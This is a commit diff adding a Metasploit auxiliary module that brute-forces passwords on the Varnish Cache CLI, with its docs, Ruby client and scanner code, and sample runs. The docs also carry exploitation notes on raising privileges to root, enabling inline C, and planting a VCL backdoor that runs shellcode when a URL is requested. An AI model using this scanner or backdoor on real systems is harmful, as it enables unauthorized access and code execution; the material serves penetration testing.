Land #7652, add varnish cache CLI authentication scanner module
commit
98ffa4d380
|
@ -0,0 +1,134 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
|
||||
Kali installed varnish-5.0.0 revision 99d036f
|
||||
|
||||
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
|
||||
|
||||
1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all.
|
||||
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`.
|
||||
1. I made an easy test one `echo "secret" > ~/secret`
|
||||
|
||||
## Exploitation Notes
|
||||
|
||||
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
|
||||
|
||||
```
|
||||
- varnishd typically runs as root, forked as unpriv.
|
||||
- 'param.show' lists configurable options.
|
||||
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
|
||||
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
|
||||
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
|
||||
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
|
||||
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
|
||||
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
|
||||
- code execution notes:
|
||||
|
||||
* quotes must be escaped \"
|
||||
* \n is a newline
|
||||
* C{ }C denotes raw C code.
|
||||
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
|
||||
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
|
||||
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
|
||||
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
|
||||
* example trigger for backdoor:
|
||||
|
||||
VCL server:
|
||||
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
|
||||
vcl.use foo
|
||||
start
|
||||
|
||||
Attacker:
|
||||
telnet target 80
|
||||
GET /backd00r HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
|
||||
(... wait for child to execute debug trap INT3 / shellcode).
|
||||
|
||||
CLI protocol notes from website:
|
||||
|
||||
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
|
||||
|
||||
Requests are whitespace separated tokens terminated by a newline (NL) character.
|
||||
|
||||
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
|
||||
), (\"), (\%03o) and (\x%02x)
|
||||
|
||||
The response consists of a header which can be read as fixed format or ASCII text:
|
||||
|
||||
1-3 %03d Response code
|
||||
4 ' ' Space
|
||||
5-12 %8d Length of body
|
||||
13 \n NL character.
|
||||
Followed by the number of bytes announced by the header.
|
||||
|
||||
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
|
||||
|
||||
enum cli_status_e {
|
||||
CLIS_SYNTAX = 100,
|
||||
CLIS_UNKNOWN = 101,
|
||||
CLIS_UNIMPL = 102,
|
||||
CLIS_TOOFEW = 104,
|
||||
CLIS_TOOMANY = 105,
|
||||
CLIS_PARAM = 106,
|
||||
CLIS_OK = 200,
|
||||
CLIS_CANT = 300,
|
||||
CLIS_COMMS = 400,
|
||||
CLIS_CLOSE = 500
|
||||
};
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format:
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
|
||||
4. Do: ```run```
|
||||
5. Find a valid login.
|
||||
|
||||
## Options
|
||||
|
||||
**PASS_FILE**
|
||||
|
||||
File which contains the password list to use.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
|
||||
|
||||
```
|
||||
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
|
||||
resource (varnish.rc)> set pass_file /root/varnish.list
|
||||
pass_file => /root/varnish.list
|
||||
resource (varnish.rc)> set rhosts 192.168.2.85
|
||||
rhosts => 192.168.2.85
|
||||
resource (varnish.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (varnish.rc)> run
|
||||
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(varnish_cli_login) >
|
||||
```
|
||||
|
||||
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
|
||||
|
||||
```
|
||||
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
|
||||
resource (varnish.rc)> set pass_file /root/varnish.list
|
||||
pass_file => /root/varnish.list
|
||||
resource (varnish.rc)> set rhosts 192.168.2.85
|
||||
rhosts => 192.168.2.85
|
||||
resource (varnish.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (varnish.rc)> run
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
|
||||
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
|
||||
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
|
||||
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,55 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/varnish/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with Varnish CLI.
|
||||
|
||||
class VarnishCLI
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
include Metasploit::Framework::Varnish::Client
|
||||
|
||||
DEFAULT_PORT = 6082
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
def attempt_login(credential)
|
||||
begin
|
||||
connect
|
||||
success = login(credential.private)
|
||||
close_session
|
||||
disconnect
|
||||
rescue RuntimeError => e
|
||||
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
|
||||
|
||||
result = Result.new(credential: credential, status: status)
|
||||
result.host = host
|
||||
result.port = port
|
||||
result.protocol = 'tcp'
|
||||
result.service_name = 'varnishcli'
|
||||
result
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Varnish
|
||||
module Client
|
||||
|
||||
@@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth
|
||||
@@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok
|
||||
|
||||
def require_auth?
|
||||
# function returns false if no auth is required, else the challenge string
|
||||
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
|
||||
if res && res =~ @@AUTH_REQUIRED_REGEX
|
||||
return $1
|
||||
end
|
||||
# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
|
||||
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
|
||||
res = sock.get_once # grab challenge
|
||||
if res && res =~ @@AUTH_REQUIRED_REGEX
|
||||
return $1
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def login(pass)
|
||||
# based on https://www.varnish-cache.org/trac/wiki/CLI
|
||||
begin
|
||||
challenge = require_auth?
|
||||
if !!challenge
|
||||
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
|
||||
sock.put("auth #{response}\n")
|
||||
res = sock.get_once
|
||||
if res && res =~ @@AUTH_SUCCESS_REGEX
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "No Auth Required"
|
||||
end
|
||||
rescue Timeout::Error
|
||||
raise RuntimeError, "Varnish Login timeout"
|
||||
end
|
||||
end
|
||||
|
||||
def close_session
|
||||
sock.put('quit')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/varnish'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Metasploit::Framework::Varnish::Client
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Varnish Cache CLI Login Utility',
|
||||
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
|
||||
list of passwords.',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '67670' ],
|
||||
[ 'CVE', '2009-2936' ],
|
||||
[ 'EDB', '35581' ],
|
||||
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'patrick', #original module
|
||||
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6082),
|
||||
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
|
||||
], self.class)
|
||||
|
||||
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
|
||||
# usernames that are passed in.
|
||||
@strip_usernames = true
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# first check if we even need auth
|
||||
begin
|
||||
connect
|
||||
if !require_auth?
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
|
||||
close_session
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
vprint_status "#{ip}:#{rport} - Authentication Required"
|
||||
end
|
||||
close_session
|
||||
disconnect
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
print_error "#{ip}:#{rport} - Unable to connect"
|
||||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
username: '<BLANK>'
|
||||
)
|
||||
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: true,
|
||||
connection_timeout: 10,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
|
||||
)
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue